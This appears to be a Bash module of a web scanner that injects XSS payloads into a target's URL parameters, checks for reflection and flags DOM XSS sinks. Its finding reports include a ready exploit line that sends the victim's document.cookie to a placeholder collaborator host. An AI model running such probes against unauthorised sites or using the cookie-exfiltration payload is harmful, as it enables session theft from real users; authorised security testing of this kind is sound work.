77 lines
3.0 KiB
Bash
Executable File
77 lines
3.0 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# Vector 02: Cross-Site Scripting (XSS)
|
|
# Desc: Reflected, Stored, DOM-based XSS detection
|
|
# Detect: Forms, search bars, URL parameters, comment sections
|
|
# Severity: HIGH
|
|
# Tools: curl, custom payloads
|
|
|
|
vector_xss() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local findings=0
|
|
|
|
print_info "Testing XSS vectors..."
|
|
|
|
local xss_payloads=(
|
|
"<script>alert(1)</script>"
|
|
'"><script>alert(1)</script>'
|
|
"<img src=x onerror=alert(1)>"
|
|
"';alert(1);//"
|
|
"\"><img src=x onerror=alert(1)>"
|
|
"<svg onload=alert(1)>"
|
|
"<input autofocus onfocus=alert(1)>"
|
|
"<body onload=alert(1)>"
|
|
)
|
|
|
|
# Test URL parameters
|
|
local url_params=$(echo "$target" | sed -n 's/.*[?&]\([^=]*\)=.*/\1/p' | head -5)
|
|
|
|
if [ -z "$url_params" ]; then
|
|
# Test query parameter
|
|
for payload in "${xss_payloads[@]}"; do
|
|
local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")"
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
|
|
print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: Cross-Site Scripting (Reflected)
|
|
DETAIL: Reflected XSS confirmed with payload: $payload
|
|
EVIDENCE: Payload echoed back in response
|
|
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt"
|
|
findings=$((findings + 1))
|
|
break
|
|
fi
|
|
done
|
|
else
|
|
# Test each parameter
|
|
for param in $url_params; do
|
|
for payload in "${xss_payloads[@]}"; do
|
|
local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")
|
|
local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/")
|
|
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
|
|
if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then
|
|
print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..."
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: Cross-Site Scripting (Reflected)
|
|
DETAIL: Reflected XSS in parameter '$param' on $target
|
|
EVIDENCE: Payload reflected in response
|
|
EXPLOIT: <script>fetch('https://YOUR-BURP-COLLABORATOR/?c='+document.cookie)</script>" > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
done
|
|
done
|
|
fi
|
|
|
|
# Check for DOM XSS indicators
|
|
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
|
if echo "$page" | grep -qiE 'document\.write\s*\(|innerHTML\s*=|eval\s*\(|location\.hash|location\.search'; then
|
|
print_warn "Potential DOM XSS sinks detected in page source"
|
|
print_info "Manual review recommended for DOM-based XSS"
|
|
fi
|
|
|
|
return $findings
|
|
}
|